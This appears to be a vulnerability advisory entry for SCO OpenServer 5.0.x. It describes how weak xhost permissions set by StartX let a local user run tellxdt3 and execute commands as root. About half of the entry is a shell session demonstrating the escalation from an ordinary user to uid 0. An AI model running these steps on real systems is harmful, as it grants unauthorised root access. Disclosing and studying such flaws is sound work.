SCO OpenServer 5.0.x - StartX Weak XHost Permissions

source: https://www.securityfocus.com/bid/2731/info

OpenServer is a Unix based operating system distributed by Santa Cruz Operations.

A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program.

This problem makes it possible for a local user to execute commands as root. 

$ pwd
/usr/lib/X11/IXI/XDesktop/bin/i3sc0322
$ DISPLAY=localhost:0
$ export DISPLAY
$ id
uid=232(kevin) gid=101(supp) groups=101(supp),50(group)
$ ./tellxdt3 /usr/bin/id
*** Can't open message catalogue XDesktop3
uid=0(root) gid=3(sys) groups=3(sys),1(other)